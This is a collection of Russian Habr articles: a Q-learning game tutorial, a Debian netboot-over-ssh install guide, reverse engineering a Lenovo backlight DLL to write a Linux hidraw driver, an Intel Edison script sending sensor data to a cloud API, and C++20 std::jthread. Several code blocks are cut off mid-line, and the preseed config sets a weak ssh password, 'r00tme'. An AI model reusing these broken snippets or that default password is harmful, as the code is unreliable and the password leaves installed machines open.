elif y==self.n-1:
features.append(1)
else:
features.append(0)
return features
```
Такой набор переменных сразу значительно поднимает среднее количество баллов до 400-800. График обучения:
Наконец, отдадим алгоритму всю доступную информацию об окружении. А именно: абсолютные координаты агента и противника.
**features 4**
```
def get_features(self,x,y):
features=[]
for i in self.ens:
ex,ey=i.getxy()
features.append(ex)
features.append(ey)
features.append(x)
features.append(y)
return features
```
Этот набор параметров дает возможность агенту набирать 800-1400 очков на тестовых симуляциях. График обучения:
Итак, мы рассмотрели работу алгоритма q-learning. Покрутив параметры, которые отвечают за восприятие агентом окружения, наглядно убедились, как адекватная передача информации и учет всех аспектов при описании окружения влияет на результативность его действий. Однако у полного описания окружения есть обратная сторона. А именно взрывной рост пространства состояний при увеличении количества передаваемой агенту информации. Чтобы обойти эту проблему, были разработаны алгоритмы аппроксимирующие пространство состояний, например DQN алгоритм.
Полезные ссылки:
[habrahabr.ru/post/274597](https://habrahabr.ru/post/274597/)
[ai.berkeley.edu/reinforcement.html](http://ai.berkeley.edu/reinforcement.html)
Полный код программ:
**1. Базовая модель окружения (из части 1)**
```
import random
import time
class W:
def __init__(self,n):
self.n=n
self.P=P(1,1,n)
self.ens=[EN(3,3,n),EN(4,4,n),EN(5,5,n)]
def step(self):
for i in self.ens:
i.move()
self.P.move()
def pr(self):
print('\n'*100)
px,py=self.P.getxy()
self.wmap=list([[0 for i in range(self.n)] for j in range(self.n)])
self.wmap[py][px]=1
for i in self.ens:
ex,ey=i.getxy()
self.wmap[ey][ex]=2
for i in self.wmap:
print(i)
def play(self):
px,py=self.P.getxy()
bl=True
for i in self.ens:
ex,ey=i.getxy()
bl=bl and (px,py)!=(ex,ey)
iter=0
while bl:
time.sleep(1)
wr.pr()
self.step()
px,py=self.P.getxy()
bl=True
for i in self.ens:
ex,ey=i.getxy()
bl=bl and (px,py)!=(ex,ey)
print((px,py),(ex,ey))
print('___')
iter=iter+1
print(iter)
class un:
def __init__(self,x,y):
self.x = x
self.y = y
def getxy(self):
return self.x, self.y
class P(un):
def __init__(self,x,y,n):
self.n=n
un.__init__(self,x,y)
def strtg(self):
return 0,0
def move(self):
dx,dy=self.strtg()
a=self.x+dx
b=self.y+dy
expr=((0<=a
```
**2. Модель окружения с обучением агента на 500+1500 симуляциях**
```
import random
import time
from math import hypot,pi,cos,sin,sqrt,exp
import plot_epoch
class Q:
def __init__(self):
self.gamma=0.95
self.alpha=0.05
self.state={}
def get_wp(self,plr):
self.plr=plr
def run_model(self,silent=1):
self.plr.prev_state=self.plr.curr_state[:-2]+(self.plr.dx,self.plr.dy)
self.plr.curr_state=tuple(self.plr.get_features(self.plr.x,self.plr.y))+(self.plr.dx,self.plr.dy)
if not silent:
print(self.plr.prev_state)
print(self.plr.curr_state)
r=self.plr.reward
if self.plr.prev_state not in self.state:
self.state[self.plr.prev_state]=0
nvec=[]
for i in self.plr.actions:
cstate=self.plr.curr_state[:-2]+(i[0],i[1])
if cstate not in self.state:
self.state[cstate]=0
nvec.append(self.state[cstate])
nvec=max(nvec)
self.state[self.plr.prev_state]=self.state[self.plr.prev_state]+self.alpha*(
-self.state[self.plr.prev_state]+r+self.gamma*nvec)
class un:
def __init__(self,x,y):
self.x = x
self.y = y
self.actions=[(0,0),(-1,-1),(0,-1),(1,-1),(-1,0),
(1,0),(-1,1),(0,1),(1,1)]
def getxy(self):
return self.x, self.y
class P(un):
def __init__(self,x,y,n,ens,QM,wrld):
self.wrld=wrld
self.QM=QM
self.ens=ens
self.n=n
self.dx=0
self.dy=0
self.eps=0.95
self.prev_state=tuple(self.get_features(x,y))+(self.dx,self.dy)
self.curr_state=tuple(self.get_features(x,y))+(self.dx,self.dy)
un.__init__(self,x,y)
def get_features(self,x,y):
features=[]
# for i in self.ens: #80-100
# ex,ey=i.getxy()
# dx=abs(x-ex)
# dy=abs(y-ey)
# l=hypot(dx,dy)
# features.append(l)
# to_brdr=min(x,y,self.n-1-x,self.n-1-y)
# features.append(to_brdr)
for i in self.ens: #800-1400
ex,ey=i.getxy()
features.append(ex)
features.append(ey)
features.append(x)
features.append(y)
# for i in self.ens: #800-1400
# ex,ey=i.getxy()
# features.append(x-ex)
# features.append(y-ey)
# features.append(self.n-1-x)
# features.append(self.n-1-y)
# for i in self.ens: #400-800
# ex,ey=i.getxy()
# features.append(x-ex)
# features.append(y-ey)
# # if near wall x & y.
# if x==0:
# features.append(-1)
# elif x==self.n-1:
# features.append(1)
# else:
# features.append(0)
# if y==0:
# features.append(-1)
# elif y==self.n-1:
# features.append(1)
# else:
# features.append(0)
# features=[] #40-80
return features
def strtg(self):
if random.random()
```
**3. Модуль вывода графиков(plot\_epoch.py).**
```
import matplotlib.pyplot as plt
class epoch_graph:
def __init__(self):
self.it=0
self.iter=[]
self.number=[]
self.iter_aver=[]
def plt_append(self,iter):
self.it=self.it+1
self.iter.append(iter)
self.number.append(self.it)
if len(self.iter)>100:
self.iter_aver.append(sum(self.iter[-100:])/100)
else:
self.iter_aver.append(sum(self.iter)/len(self.iter))
def plt_virt_game(self,W,QModel):
wr=W(5,QModel)
wr.P.eps=0.0
iter=wr.play(1,0)
self.plt_append(iter)
def plot_graph(self):
plt.plot(self.number,self.iter_aver)
plt.xlabel('n_epoch')
plt.ylabel('aver. score')
plt.show()
``` | https://habr.com/ru/post/345656/ | null | ru | null |
# Установка Debian по сети через netboot и ssh
Подходит для установки Debian Squeeze и старше. Установщик стандартный для дебиана — debian-installer (сокращенно d-i).
В случае невозможности получить физический доступ к консоли этот способ наиболее удобен для установки нового дистрибутива Debian. Достаточно включить сервер, дождаться загрузки и присоединиться по ssh.
#### Установка и настройка
**Внимание!** Установка с загрузкой файла конфигурации preseed.cfg через http работает на дистрибутивах начиная с debian squeeze. До этого требовалось отдельно пересобирать образ initrd вместе с файлом preseed.cfg.
В качестве сервера будет использован debian squeeze. На него сверху надо будет поставить dhcp3-server, tftpd, debian-installer, nginx:
```
aptitude install dhcp3-server tftpd debian-installer-netboot-i386 nginx
```
Правим в /etc/inetd.conf строчку с tftp так, чтобы корневая папка была "/tftpboot":
```
tftp dgram udp wait nobody /usr/sbin/tcpd /usr/sbin/in.tftpd /tftpboot
```
Конфигурация /etc/dhcp/dhcpd.conf:
```
allow bootp;
allow booting;
subnet 192.168.0.0 netmask 255.255.255.0
{
option routers 192.168.0.1;
option domain-name-servers 192.168.0.1;
range 192.168.0.90 192.168.0.90;
}
host netinst {
hardware ethernet 00:0c:29:6f:ee:ba;
fixed-address 192.168.0.130;
filename "pxelinux.0";
}
```
Параметры routers и domain-name-servers необходимы, чтобы установщик не выдал предупрежение о неправильной конфигурации сети.
Фиксированный адрес желательно указать, что бы потом не искать его в логах dhcpd.
Копируем файлы необходимые для загрузки:
```
mkdir -p /tftpboot/pxelinux.cfg
cp /usr/lib/debian-installer/images/i386/text/{pxelinux.0,linux,initrd.gz} /tftpboot
cat >/tftpboot/pxelinux.cfg/default <
```
Осталось только подготовить файл конфигурации preseed.cfg.
Конфигурация /var/www/preseed.cfg:
```
d-i debian-installer/locale string en_US
d-i console-keymaps-at/keymap select us
d-i keyboard-configuration/xkb-keymap select us
d-i anna/choose_modules string network-console
d-i network-console/password password r00tme
d-i network-console/password-again password r00tme
```
##### Ссылки
Материалы, которые были использованы для написания. Хотя наиболее полезной ссылкой оказалась последняя. Я практически повторил действия автора.
Общее описание: <http://wiki.debian.org/DebianInstaller/NetworkConsole>
Описания файла preseed: <http://www.debian-administration.org/articles/394>
Официальная документация [Appendix B. Automating the installation using preseeding](http://www.debian.org/releases/stable/i386/apb.html.en)
Самая полезная ссылка <https://saz.sh/2011/07/30/preseed-debian-squeeze-using-pxe/> | https://habr.com/ru/post/130978/ | null | ru | null |
# Пишем драйвер для ноутбука for fun and profit, или как закоммитить в ядро даже если ты дурак
С чего всё началось
-------------------
Начнём с постановки проблемы. Дано: один ноутбук. Новый ноутбук, геймерский. С RGB-подсветкой. Вот такой примерно ноутбук:
*Картинка взята с lenovo.com*
Есть ещё программа к этому ноутбуку. Программа как раз этой подсветкой и управляет.
Одна только проблема – программа под Windows, а хочется чтоб в любимом линуксе всё работало. И лампочки чтоб светились, и чтоб цвета красивые мелькали. Да вот только как это сделать, чтоб без реверс-инжиниринга и без написания своих драйверов? Простой ответ пришёл быстро – никак. Ну что ж, пошли писать драйвер.
### Шаг 1 – копаемся в коде
У нас есть три места, из которых можно увидеть как подсветка мигает. В порядке возрастающей сложности:
1. Большая и накачанная геймерская программа Lenovo Nerve Center – в которой есть функция настройки всей этой подсветки.
2. Сочетание горячих клавиш Fn+Space – возможно. его обрабатывает эта же программа.
3. BIOS. Во время загрузки ноутбука подсветка тоже мелькает – но только красным, и только на секунду.
Забегая вперёд, скажу что пришлось попробовать все три, но продвинулся с каким-никаким успехом я только по первой. О ней речь и пойдёт.
Ну что ж, откроем папку с программой:
Сразу замечаем, что есть DLL с интересным названием – LedSettingsPlugin.dll. Наш ли...? Давайте откроем в IDA Pro и посмотрим.
Обратите внимание на правую половину экрана. От программистов осталось много дебажной информации – воспользуемся же ей. Видим, что почему-то есть много строк, похожих на имена методов. Почему?
А это и есть имена методов. Как удобно! Давайте поназываем что можем своими именами, и посмотрим на список функций ещё раз. Для называния в IDA можно использовать хот-кей N, или просто щелчок правой кнопкой мыши по тому, что хотим обозвать.
Смотрим на функции… Y720LedSetHelper::SetLEDStatusEx. Похоже, что нам надо! Замечаем, что тут формируется что-то вроде строки и передаётся потом в некий CHidDevHelper::HidRequestsByPath. Конкретно интересует var\_38, все метаморфозы которой IDA любезно обозначил за нас.
Var\_34 нам тоже интересен. Он идёт сразу после var\_38 – в традициях ассемблера переменные хранятся в обратном порядке под RSP. Var\_34 здесь просто название константы – -34h.
Получаем, что начиная с var\_38 программа кладёт ноль, потом стиль, цвет, число три и блок – часть клавиатуры, к которой этот цвет применится. (Забегая вперёд, скажу что три здесь это значение яркости. Сделав это управляемым, мы получим драйвер ещё круче оригинала!)
Давайте же залезем в HidRequestsByPath и наконец узнаем, как оно отправляется.
Видим две функции, HidD\_GetFeature и HidD\_SetFeature. Оба в файле не прослеживаются… Зато очень хорошо прослеживаются в официальной документации Майкрософт — [тут](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/hidsdi/nf-hidsdi-hidd_setfeature) и [тут](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/hidsdi/nf-hidsdi-hidd_getfeature).
На этом можно себя поздравить – мы добрались. Это дно, глубже копать не надо. В Linux такие функции есть – надо только вызвать их с теми же аргументами, и всё должно получиться… ведь правда?
### Шаг 2 – запускаем прототип...?
Не совсем. Начнём с простого, и запустим lsusb. Так найдём клавиатуру, и к ней что-нибудь пошлём.
Integrated Technology Express, Inc. здесь выглядит самым интересным. Будем пользоваться известным инструментом /dev/hidraw. Отыскиваем подходящий… Это делается простым поиском по файлам /sys/class/hidraw/hidraw\*/device/uevent.
Вот тот. Цифры совпадают – значит это устройство есть hidraw0. Но мы пытаемся послать данные, и ничего не получается! Бред какой-то. На этом этапе руки начинают опускаться… Может быть, не для простых смертных это, этот реверс-инжиниринг?
Но продолжим. Попытаемся. Если автор бы разбирался в этом всём, он бы выреверсил поиск нашего драйвера из того же Nerve Center.… Но у нас нет мозга. Идём обратно в Windows, есть одна идея.
Есть в Windows такая вещь – Диспетчер Устройств. Многое позволяет делать – нам интересно то, что он позволяет отрубать девайсы. Просто и бескомпромиссно.
Давайте отрубать девайсы по одному, пока состояние лампочек не прекратит меняться.
Этот отрубился. Значит, если заглянуть в Hardware ID – увидим и то, как его зовут и с чем его едят.
Смотрим – это же он.
Девайс, который мне уже несколько лет флудил в dmesg.
[Почему же он не показывался в lsusb? А не USB он вовсе. Тут используется протокол I2C HID, который позволяет ~~прятать девайсы от пытливых рук умельцев~~ устанавливать HID гаджеты по шине самого компьютера.]
### Лирическое отступление – давайте сделаем коммит
В поисках правильного девайса я расковырял свою установку почти до ядра. Ещё, не очень нравилось что мне эту dmesg-простыню показывало перед каждой блокировкой. Раз уж я здесь, почему бы не написать короткий коммит? Руки всё равно чешутся.
Что нам нужно посмотреть – где девайсы на I2C HID, и где писать какие странности им присущи. [Здесь.](https://github.com/torvalds/linux/blob/master/drivers/hid/i2c-hid/i2c-hid-core.c) Не мудрствуя лукаво, прислушаемся к ошибке – incorrect input length. Давайте сделаем его correct.
Добавим новый quirk, назовём его пусть I2C\_HID\_QUIRK\_BAD\_INPUT\_SIZE. По аналогии с уже существующими.
Добавим ещё наше устройство в список quirkнутых. То, что мы сделали пока:
1. Поиск в интернете по запросу “i2c hid linux kernel”. Кликнули на четвёртый ответ на DuckDuckGo.
2. Написали три (!) слова на английском – BAD\_INPUT\_SIZE
3. Прибавили один к BIT(4). Получилось BIT(5).
4. Добавили одну чиселку в hid-ids.h – ID нашего устройства (на иллюстрации не показано, но там так же примерно).
Давайте теперь программировать.
Видим строку — `ret\_size = ihid->inbuf[0] | ihid->inbuf[1] << 8;`
А потом оно жалуется, что ret\_size не равен тому что оно хочет.
Давайте если квирк задействован, делать это же самое, только наоборот.
Отправляем патч в рассылку, не забыв потестить… (если честно, чтоб просто добавиться в рассылку мозга уже потребовалось больше. Это непросто.)
И всё.
### Шаг 3 – драйвер!
Тут я вспомнил — ах да, надо же драйвер ещё написать. Решил это в ядро пока не коммитить (там вопросы начали подниматься, реально думать пришлось. Если кто из хабровчан может помочь проконсультировать, напишите мне – буду рад!)
Открываем питон. (В начале bash был, но я передумал очень быстро.) Будем пользоваться известным инструментом /dev/hidraw.
/dev/hidraw0, /dev/hidraw1 — как вообще работают эти файлы? Для простого ввода-вывода их можно использовать как любой нормальный файл, и он будет работать. А вот с GetFeature и SetFeature придётся повозиться…
StackOverflow (или кто-то ещё, не помню уже) подсказал, что для этого нужен некий ioctl. Это специальный метод работы с необычными файлами вроде HID-устройств, терминалов и им подобных.
Работает ioctl так. Ему даёшь дескриптор открытого файла (кому интересно, что это такое, [есть ссылка на Википедию](https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB%D0%BE%D0%B2%D1%8B%D0%B9_%D0%B4%D0%B5%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D1%80)), какое-то число и буфер – после чего он с этим буфером что-то делает, и возвращает обратно. Я не утрирую, там просто очень многое от имплементации зависит. Приведу пример: 0xC0114806, или уже нам знакомый SetFeature. Оно же
`(6 << 29) | (ord('H') << 8) | (0x06 << 0) | (0x11 << 16).`
Первая 6 здесь значит, открыт файл будет для записи и чтения. Почему для чтения, не очень понятно — но написано делать так, наверное так и надо. Ord(‘H’) здесь же – сокращённо HID. Может и другие вещи означать, в зависимости от файла. В этом случае HID.
0x06 – сама команда. Шестая команда с HID и есть SetFeature. Последняя часть это длина буфера.
Остаётся только вызвать ioctl с этими значениями — и на выходе получаем драйвер. [Он работает](https://gitlab.com/kryma/lenovo-y720-backlight-driver).
### Послесловие
Надеюсь, читать было интересно. Даже полезно, быть может. Некоторое было опущено или сокращено – зоркий читатель, быть может, обнаружит в драйвере и считывание состояния, и какой-то второй SetFeature, про который в тексте упомянуто вообще не было. Разработка драйверов и ядро Линукса – большие штуки, и за одну байку их полностью не осилить. Статья скорей не про это, а про то, что сделать что-то небольшое и приятное, в опен-сурс или для себя, совершенно не сложно. Надо только найти недельку вечеров с чаем и желание покопаться в коде. | https://habr.com/ru/post/484564/ | null | ru | null |
# Intel Edison. Использование Intel Cloud на примере реализации датчика расстояния
В настоящее время к современным устройствам и гаджетам предъявляются довольно-таки высокие требования. И я говорю не только о серфинге в интернете, чтобы прочитать свою любимою новостную рассылку, проверить почту или пообщаться с друзьями в соц сети. Люди хотят гораздо большего, в современном мире просто необходимо управлять и мониторить устройства удаленно. Естественно управлять этими устройствами необходимо через Интернет. На данный момент существует огромное количество облачных решений, в данной статье рассмотрим облачное решение от компании Intel на практическом примере.
Для начала разберемся с новым облаком для Internet-of-Things.
Аналитическое облако IoT Analytics включает в себя ресурсы для сбора и анализа данных, собранных с различных сенсоров, подключенных к Intel Galileo и Intel Edison. Используя данный сервис, разработчик может с легкостью хранить и обрабатывать данные, не инвестируя в это дополнительные ресурсы, сосредоточась вместо этого на создании проектов под вышеупомянутые платы.
Рассмотрим концепцию использования IoT Analytics cloud.
Для того чтобы начать использовать облако IoT Analytics, необходимо создать админ-аккаунт, с помощью которого можно будет регистрировать девайсы, управлять оповещениями, создавать аккаунты и выполнять другие задачи на сайте. Перейти к использованию IoT Analytics Dashboard можно по [ссылке](https://dashboard.us.enableiot.com/ui/auth#/login). Базовые понятия и элементарные примеры использования данного облака описаны [здесь](http://habrahabr.ru/post/257621/).
Для того, чтобы продемонстрировать взаимодействие с облаком, продолжим работу над примером из статьи [«Используем встроенный микроконтроллер в Intel Edison»](http://habrahabr.ru/company/intel/blog/260471/), в которой датчик измерения расстояния HC-SR04 подключается к плате Intel Edison и измеренное расстояние выводиться на LCD дисплей. Возьмем описанный пример измерения расстояния и добавим автоматическую загрузку полученных с датчика данных, прямиком в облако.
Сперва зарегистрируем наш датчик расстояния. Для этого заполним все необходимые поля.
Будем использовать целочисленный тип, зададим диапазон значений от -1 (ошибка) до 100 сантиметров.
Далее необходимо зарегистрировать датчик для Intel Edison. Используем следующую команду:
```
# iotkit-admin register dist distance.v1.0
# iotkit-admin catalog
```
Теперь наш датчик зарегистрирован и закреплен за данным устройством.
Отправка данных в клауд может быть произведена посредством нескольких способов.
Один из самых простых:
```
# iotkit-admin observation dist 10
```
Но, как вы понимаете, это не самый удобный способ отправлять данные в облако. Как правило, данная команда используется для тестирования.
Существует два других способа передачи данных в облако:
* Настроить на клиенте интерфейс REST (Документация по настройке).
* Отправление UDP пакетов агенту поднятому на плате. Агент конвертирует пакеты в REST вызовы и посылает запросы.
Для запуска агента на плате используем следующую команду:
```
# systemctl start iotkit-agent
```
Существует возможность отправлять UDP сообщения через localhost на порт 41234 (UDP://localhost:41234). Чтобы это сделать, необходимо создать JSON-файл (JavaScript Object Notation):
```
{"n": "", "v": "" }
```
где “n” имя проводимого измерения, и “v” значение.
Например, так:
```
{ "n": "dist", "v": 17 }
{ "n": "dist", "v": 24}
```
Я описал, каким образом отправлять данные в облако IoT Analytics через iotkitagent. Разработчики также могут отправлять данные, используя такие языки программирования, как C/C++, JavaScript или Python. В [одной](http://habrahabr.ru/post/257621/) из указанных в начале статей реализован пример публикации данных с помощью C/C++. Поскольку я предпочитаю концепцию более быстрого и удобного программирования, в данной статье я напишу небольшой пример используя мой любимый язык Python.
**Скрипт IoTCloudManager.py:**
```
import sys
import requests
import json
import uuid
import time
import random
import pyupm_i2clcd
host = "dashboard.us.enableiot.com"
proxies = {
# Указываем проксю
}
username = "email@gmail.com"
password = "*********"
account_name = "account_name"
# Указываем id девайса, если уже существует выдаст ошибку
device_id = "***************************************"
observations_per_hour = 1
days_of_data = 1
verify = True
api_root = "/v1/api"
base_url = "https://{0}{1}".format(host, api_root)
device_name = "Device-{0}".format(device_id)
g_user_token = ""
g_device_token = ""
def main():
global g_user_token, g_device_token
# инициализируем аутентификацию для последующих API вызовов
g_user_token = get_token(username, password)
# получаем user_id внутри Intel IoT Analytics Platform
uid = get_user_id()
print "UserId: {0}".format(uid)
aid = get_account_id(uid, account_name)
print "AccountId: {0}".format(aid)
# создаем новый девайс с акаунтом
create_device(aid, device_id, device_name)
# Обновляем код активации
ac = generate_activation_code(aid)
print "Activation code: {0}".format(ac)
# Активируем девайс
g_device_token = activate(aid, device_id, ac)
# Регистрируем сенсор измерения расстояния "Distance.v1.0". Данный вызов вернет component_id (cid)
cid = create_component(aid, device_id, "Distance.v1.0", "Dist")
print "ComponentID (cid): {0}".format(cid)
lcd = pyupm_i2clcd.Jhd1313m1(6, 0x3E, 0x62)
with open('/dev/ttymcu0', 'w+t') as f:
while True:
f.write('get_distance\n') # Send command to MCU
f.flush()
line = f.readline() # Read response from MCU, -1 = ERROR
value = int(line.strip('\n\r\t '))
# сабмитим данные в облако
create_observations(aid, device_id, cid, value)
# читаем засабмиченные данные
o = get_observations(aid, device_id, cid)
print_observation_counts(o)
lcd.clear()
if value == -1:
lcd.setColor(255, 0, 0) # RED
lcd.write('ERROR')
else:
lcd.setColor(0, 255, 0) # GREEN
lcd.write('%d cm' % (value,))
time.sleep(1)
def get_user_headers():
headers = {
'Authorization': 'Bearer ' + g_user_token,
'content-type': 'application/json'
}
return headers
def get_device_headers():
headers = {
'Authorization': 'Bearer ' + g_device_token,
'content-type': 'application/json'
}
#print "Headers = " + str(headers) (ЗАКОМЕНЧЕННЫЙ КОД)
return headers
def check(resp, code):
if resp.status_code != code:
print "Expected {0}. Got {1} {2}".format(code, resp.status_code, resp.text)
sys.exit(1)
def get_token(username, password):
url = "{0}/auth/token".format(base_url)
headers = {'content-type': 'application/json'}
payload = {"username": username, "password": password}
data = json.dumps(payload)
resp = requests.post(url, data=data, headers=headers, proxies=proxies, verify=verify)
check(resp, 200)
js = resp.json()
token = js['token']
return token
def get_user_id():
url = "{0}/auth/tokenInfo".format(base_url)
resp = requests.get(url, headers=get_user_headers(), proxies=proxies, verify=verify)
check(resp, 200)
js = resp.json()
user_id = js["payload"]["sub"]
return user_id
def get_account_id(user_id, account_name):
url = "{0}/users/{1}".format(base_url, user_id)
resp = requests.get(url, headers=get_user_headers(), proxies=proxies, verify=verify)
check(resp, 200)
js = resp.json()
if 'accounts' in js:
accounts = js["accounts"]
for k, v in accounts.iteritems():
if 'name' in v and v["name"] == account_name:
return k
print "Account name {0} not found.".format(account_name)
print "Available accounts are: {0}".format([v["name"] for k, v in accounts.iteritems()])
return None
def create_device(account, device_id, device_name):
url = "{0}/accounts/{1}/devices".format(base_url, account)
device = {
"deviceId": str(device_id),
"gatewayId": str(device_id),
"name": device_name,
"tags": ["Russia", "Moscow", "RoadShow"],
"attributes": {
"vendor": "intel",
"platform": "x86",
"os": "linux"
}
}
data = json.dumps(device)
resp = requests.post(url, data=data, headers=get_user_headers(), proxies=proxies, verify=verify)
check(resp, 201)
return resp
def generate_activation_code(account_id):
url = "{0}/accounts/{1}/activationcode/refresh".format(base_url, account_id)
resp = requests.put(url, headers=get_user_headers(), proxies=proxies, verify=verify)
check(resp, 200)
js = resp.json()
activation_code = js["activationCode"]
return activation_code
def activate(account_id, device_id, activation_code):
url = "{0}/accounts/{1}/devices/{2}/activation".format(base_url, account_id, device_id)
activation = {
"activationCode": activation_code
}
data = json.dumps(activation)
resp = requests.put(url, data=data, headers=get_user_headers(), proxies=proxies, verify=verify)
check(resp, 200)
js = resp.json()
if "deviceToken" in js:
token = js["deviceToken"]
return token
else:
print js
sys.exit(1)
def create_component(account_id, device_id, component_type_name, name):
url = "{0}/accounts/{1}/devices/{2}/components".format(base_url, account_id, device_id)
component = {
"type": component_type_name,
"name": name,
"cid": str(uuid.uuid4())
}
data = json.dumps(component)
resp = requests.post(url, data=data, headers=get_device_headers(), proxies=proxies, verify=verify)
check(resp, 201)
js = resp.json()
return js["cid"]
def create_observations(account_id, device_id, cid, val):
url = "{0}/data/{1}".format(base_url, device_id)
body = {
"accountId": account_id,
"data": []
}
o = {
"componentId": cid,
"value": str(val),
"attributes": {
"i": i
}
}
body["data"].append(o)
data = json.dumps(body)
resp = requests.post(url, data=data, headers=get_device_headers(), proxies=proxies, verify=verify)
check(resp, 201)
def get_observations(account_id, device_id, component_id):
url = "{0}/accounts/{1}/data/search".format(base_url, account_id)
search = {
"from": 0,
"targetFilter": {
"deviceList": [device_id]
},
"metrics": [
{
"id": component_id
}
]
}
data = json.dumps(search)
resp = requests.post(url, data=data, headers=get_user_headers(), proxies=proxies, verify=verify)
check(resp, 200)
js = resp.json()
return js
def print_observation_counts(js):
if 'series' in js:
series = js["series"]
series = sorted(series, key=lambda v: v["deviceName"])
for v in series:
print "Device: {0} Count: {1}".format(v["deviceName"], len(v["points"]))
if __name__ == "__main__":
main()
```
Посмотрим теперь, что получилось на графике для некоторого количества измерений. На графике изображены данные (в сантиметрах) измерений с датчика в разный момент времени.
Таким образом, достаточно легко загружать данные в облако.
Теперь попробуем определить максимальное и минимальное расстояние дистанции (см), которые мы отправили в облако. Получаем следующую картину.
В качестве заключения хочется отметить, что облако IoT Analytics является простым и удобным инструментом для хранения и анализа данных, получаемых с подключенных к платам датчиков. | https://habr.com/ru/post/262821/ | null | ru | null |
# Новый поток в C++20: std::jthread
> Привет, Хабр! Перевод статьи подготовлен в рамках курса ["**C++ Developer. Professional**"](https://otus.pw/Yf6l/)
>
>
---
Один из участников моего [семинара в рамках CppCon 2018](https://cppcon.org/cppcon-2018-program/) спросил меня: «Может ли `std::thread` быть прерван (interrupted)?». Мой ответ тогда был — нет, но это уже не совсем так. С C++20 мы можем получить `std::jthread` (в итоге все таки получили — прим. переводчика).
Позвольте мне развить тему, поднятую на CppCon 2018. Во время перерыва в моем семинаре, посвященному параллелизму, я побеседовал с Николаем (Йосуттисом). Он спросил меня, что я думаю о новом предложении [P0660: Cooperatively Interruptible Joining Thread](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2018/p0660r5.pdf). На тот момент я ничего не знал об этом предложении. Следует отметить, что Николай является одним из авторов этого предложения (наряду с Хербом Саттером и Энтони Уильямсом). Сегодняшняя статья посвящена будущему параллелизма в C++. Ниже я привел общую картину параллелизма в текущем и грядущем C++.
Из названия документа [Cooperatively Interruptible Joining Thread](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2018/p0660r5.pdf) (совместно прерываемый присоединяемый поток) вы можете догадаться, что новый поток имеет две новые возможности: прерываемость (interruptible) и автоматическое присоединение (automatically joining, здесь и далее «присоединение» — блокировка вызывающего потока до завершения выполнения, результат вызова метода `join()` — прим. переводчика). Позвольте мне сначала рассказать вам об автоматическом присоединении.
### Автоматическое присоединение
Это неинтуитивное поведение `std::thread`. Если `std::thread` все еще является `joinable`, то в его деструкторе вызывается `std::terminate`. Поток `thr` является `joinable`, если ни `thr.join()`, ни `thr.detach()` еще не были вызваны.
```
// threadJoinable.cpp
#include
#include
int main(){
std::cout << std::endl;
std::cout << std::boolalpha;
std::thread thr{[]{ std::cout << "Joinable std::thread" << std::endl; }};
std::cout << "thr.joinable(): " << thr.joinable() << std::endl;
std::cout << std::endl;
}
```
При выполнении программа терминируется.
Оба потока терминируются. На втором запуске поток `th` имеет достаточно времени, чтобы отобразить свое сообщение: `«Joinable std::thread»`.
В следующем примере я заменяю хедер на "`jthread.hpp`" и использую `std::jthread` из грядущего стандарта C++.
```
// jthreadJoinable.cpp
#include
#include "jthread.hpp"
int main(){
std::cout << std::endl;
std::cout << std::boolalpha;
std::jthread thr{[]{ std::cout << "Joinable std::thread" << std::endl; }};
std::cout << "thr.joinable(): " << thr.joinable() << std::endl;
std::cout << std::endl;
}
```
Теперь поток `thr` автоматически присоединяется в своем деструкторе, если он все еще является `joinable`, как, например, в этом примере.
### Прерывание std::jthread
Чтобы было от чего отталкиваться, позвольте мне продемонстрировать вам простой пример.
```
// interruptJthread.cpp
#include "jthread.hpp"
#include
#include
using namespace::std::literals;
int main(){
std::cout << std::endl;
std::jthread nonInterruptable([]{ // (1)
int counter{0};
while (counter < 10){
std::this\_thread::sleep\_for(0.2s);
std::cerr << "nonInterruptable: " << counter << std::endl;
++counter;
}
});
std::jthread interruptable([](std::interrupt\_token itoken){ // (2)
int counter{0};
while (counter < 10){
std::this\_thread::sleep\_for(0.2s);
if (itoken.is\_interrupted()) return; // (3)
std::cerr << "interruptable: " << counter << std::endl;
++counter;
}
});
std::this\_thread::sleep\_for(1s);
std::cerr << std::endl;
std::cerr << "Main thread interrupts both jthreads" << std:: endl;
nonInterruptable.interrupt();
interruptable.interrupt(); // (4)
std::cout << std::endl;
}
```
Я запустил в main два потока, `nonInterruptable`, который нельзя прерывать, и `interruptable`, который можно (строки 1 и 2). В отличие от потока `nonInterruptable`, поток `interruptable`, получает `std::interrupt_token` и использует его в строке 3, чтобы проверить, был ли он прерван: `itoken.is_interrupted()`. В случае прерывания в лямбде срабатывает `return` и, следовательно, поток завершается. Вызов `interruptable.interrupt()` (строка 4) триггерит завершение потока. Аналогичный вызов `nonInterruptable.interrupt()` не сработает для потока `nonInterruptable`, который, как мы видим, продолжает свое выполнение.
Вот более подробная информация о токенах прерывания (interrupt tokens), присоединяющихся потоках и условных переменных.
#### Токены прерывания
Токен прерывания `std::interrupt_token` моделирует совместное владение (shared ownership) и может использоваться для сигнализирования о прерывании, если токен валиден. Он предоставляет три метода: `valid`, `is_interrupted`, и `interrupt`.
`itoken.valid() — true`, если токен прерывания может быть использован для сигнализировании о прерывании
`itoken.is_interrupted() — true`, если был инициализирован с `true` или был вызван метода `interrupt()`
`itoken.interrupt()` — если `!valid()` или `is_interrupted()`, то вызов метода не возымеет эффекта. В противном случае, сигнализирует о прерывании посредством `itoken.is_interrupted() == true`. Возвращает значение `is_interrupted()`
Если токен прерывания должен быть временно отключен, вы можете заменить его дефолтным токеном. Дефолтный токен не валиден. Следующий фрагмент кода демонстрирует, как включать и отключать возможность потока принимать сигналы.
```
std::jthread jthr([](std::interrupt_token itoken){
...
std::interrupt_token interruptDisabled;
std::swap(itoken, interruptDisabled); // (1)
...
std::swap(itoken, interruptDisabled); // (2)
...
}
```
`std::interrupt_token interruptDisabled` не валиден. Это означает, что поток не может принять прерывание между строками (1) и (2), но после строки (2) уже может.
#### Присоединение потоков
`std::jhread` представляет собой `std::thread` с дополнительным функционалом, реализующим сигнализирование о прерывании и автоматическое присоединение. Для поддержки этой функциональности у него есть `std::interrupt_token`.
#### Новые перегрузки Wait для условных переменных
Две вариации `wait wait_for` и `wait_until` из `std::condition_variable` получат новые перегрузки. Они принимают `std::interrupt_token`.
```
template
bool wait\_until(unique\_lock& lock,
Predicate pred,
